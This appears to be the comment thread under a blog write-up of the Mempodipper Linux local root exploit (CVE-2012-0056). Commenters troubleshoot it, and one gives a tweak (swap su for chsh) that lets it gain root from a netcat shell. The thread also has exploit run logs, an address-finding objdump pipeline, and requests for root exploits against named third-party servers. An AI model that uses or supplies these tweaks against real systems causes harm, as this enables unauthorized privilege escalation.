    Hey i have a question how come the exploit hangs via netcat but the exploit works fine if you run it from like the Terminal when your at the desktop?
    Trying to do a video to show people how a local root exploit works and what can happen.
    Some reason i can’t get this exploit to work it just hangs at..

    gcc mempodipper.c -o mempodipper
    chmod +x mempodipper
    ./mempodipper
    [+] Opening parent mem /proc/3001/mem in child.
    [+] Sending fd 6 to parent.

  102. m33x says:

    @FlowMotion

    I had the same issue, the author didn’t responde to my(this) question for half a year yet. So I think we should investigate ourself. If you have any news for me, just write me an email.

    thx

  103. Jason says:

    It fails because /bin/su needs a terminal to run properly. So, just use a suid binary other than su, like chsh.

    Change all instances of /bin/su to /usr/bin/chsh. Change all instances of su to chsh.

    There’s still some funniness with the text output, but it achieves root nonetheless.

    I made a video for you:
    http://www.youtube.com/watch?v=Gt1LFCf0MiA

    • FlowMotion says:

      @Jason You are the man! As you should does say something about //bin/sh: can’t access tty; job control turned off but still gets root.

    • Alfonso says:

      Hello thank you for this video. I have a problem when trying this from nc. All I get is:
      [+] Opening parent mem /proc/5127/mem in child.
      [+] Sending fd 3 to parent.
      I read somewhere your solution of using /usr/bin/chsh instead. I did replace /bin/su with your sugestion but I still get the same output. I am trying this one ubuntu 11.10. From local terminal it works and I am able to get root, but not from nc. Any other solution?

  104. CrispEditor says:

    Ouch! Ubuntu 11 suffers badly too. Very nice work. Worrying.

  105. [...] is able to achieve root access.  Jason explains how this exploit works in amazing detail here - http://blog.zx2c4.com/749.  Believe me, discovering that and writing that article was a LOT of work.  But now, let’s [...]

  106. [...] Rather than put my write up here, per usual, this time I've put it * in a rather lengthy blog post: Linux Local Privilege Escalation via SUID /proc/pid/mem Write | Nerdling Sapple * * Enjoy. * * – zx2c4 * Jan 21, 2012 * * CVE-2012-0056 */ #define _LARGEFILE64_SOURCE #include [...]

  107. Thanks for the effort involved in writing this up. The pipeline for printing the address of exit@plt symbol can be simplified to

    $ objdump -d /bin/su | sed -n ‘//{s/ .*//; s/^0*/0x/p; q}’
    0x401cf8
    $

  108. Thanks for the effort involved in writing this up. The pipeline for printing the address of exit@plt symbol can be simplified to

      $ objdump -d /bin/su | sed -n ‘/<exit@plt>/{s/ .*//; s/^0*/0x/p; q}’
      0x401cf8
      $

  109. wylhistory says:

    Great! this idead have been used to root android devices largely,I wonder how do you get the exp code?does it work in AMD(64) ?and how can I get the instructions for AMD?

  110. [...] I actually had implemented an exploit for Android (mempodroid, using the mempodipper exploit described by Jason A. Donenfeld, attacking a bug discovered by Jüri Aedla). Sadly, it was fixed in Android 4.0.3 (Glass runs [...]

  111. jasa seo says:

    i need exploit work to server Linux xxxxx.xxxxxxxcom 2.6.32-20130307.60.9.bh6.x86_64 #1 SMP Thu Mar 7 15:58:33 EST 2013 x86_64

    thanks :)

  112. […] Rather than put my write up here, per usual, this time I've put it * in a rather lengthy blog post: Linux Local Privilege Escalation via SUID /proc/pid/mem Write | Nerdling Sapple * * Enjoy. * * – zx2c4 * Jan 21, 2012 * * CVE-2012-0056 */ #define _LARGEFILE64_SOURCE #include […]

  113. ILYG says:

    it’s don’t work to me :
    uname -a
    Linux localhost.localdomain 2.6.18-164.el5 #1 SMP Tue Aug 18 15:51:48 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux

    [user@localhost tmp]$ ./a.out
    ./a.out
    ===============================
    = Mempodipper =
    = by zx2c4 =
    = Jan 21, 2012 =
    ===============================

    [+] Ptracing su to find next instruction without reading binary.
    [+] Creating ptrace pipe.
    [+] Forking ptrace child.
    [+] Ptrace_traceme’ing process.
    [+] Waiting for ptraced child to give output on syscalls.
    [+] Error message written. Single stepping to find address.
    [+] Resolved call address to 0x2b518b96b738.
    [+] Opening socketpair.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/8007/mem in child.
    [+] Sending fd 6 to parent.
    [+] Waiting for transferred fd in parent.
    [+] Received fd at 6.
    [+] Assigning fd 6 to stderr.
    [+] Calculating su padding.
    [+] Seeking to offset 0x2b518b96b728.
    [+] Executing su with shellcode.
    [user@localhost tmp]$ whoami

    please , what’s wrong with that ? help !

  114. Ap0x says:

    3.2.13-grsec do you have a this local root exploit i need this exploit Thanks for ass.

    Linux ns388883.ovh.net 3.2.13-grsec-xxxx-grs-ipv6-64 #1 SMP Thu Mar 29 09:48:59 UTC 2012 x86_64

  115. Mempodipper root exploit

    Oorsprong: Applicatie: Bash Uitvoerbaar via: Bash

  116. ElGauty says:

    Very nice job.
    I tried to understand it in the details and i’m stuck ! I don’t understand why the address of the exit function is used to calculate the offset in stderr ????
    Perhaps i’m missing something obvious, but the sentence:
    “So naturally, we want to write to 0×402178 minus the number of letters in the string “Unknown id: “, so that our shellcode is placed at exactly the right place.”
    is not natural at all for me !
    0×402178 is a code address no ? so what is its relation with offset in stderr ?
    Thank you for your help

  117. CVE-2012-0056 – mem_write

    The mem_write function in Linux kernel 2.6.39 and

  118. […] which allows local users to gain privileges by modifying process memory, as demonstrated by Mempodipper. Read More […]

  119. […] linux privilege escalation, Mempodipper […]

  120. Thanks for the article. I am very interested in knowing how you did find this bug !
    Thanks,

Leave a Reply